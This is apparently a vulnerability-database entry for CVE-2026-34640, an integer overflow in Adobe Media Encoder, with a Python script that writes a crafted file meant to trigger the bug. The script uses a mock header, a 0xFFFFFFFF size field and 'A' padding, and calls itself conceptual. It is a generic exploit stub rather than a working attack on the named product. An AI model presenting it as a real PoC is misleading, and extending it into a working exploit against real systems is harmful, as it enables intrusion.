CVE-2026-34640 Adobe Media Encoder整数溢出漏洞

import struct # Proof of Concept (PoC) Generator for Integer Overflow Vulnerability # This script generates a crafted file that may trigger the integer overflow. # Note: This is a conceptual example for analysis purposes. def generate_malicious_file(filename): with open(filename, 'wb') as f: # Write a dummy header f.write(b'MOCK_FILE_HEADER') # Write a specific field that triggers the overflow # Example: Setting a size field to 0xFFFFFFFF to cause overflow when incremented # The application might calculate 'size + 1' resulting in 0 malicious_size = 0xFFFFFFFF # Pack the integer (assuming little-endian 4-byte integer) f.write(struct.pack('<I', malicious_size)) # Write padding or dummy data to fill the buffer # In a real exploit, this would contain shellcode or ROP gadgets payload = b'A' * 1024 f.write(payload) print(f"[+] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_file("exploit_test.bin")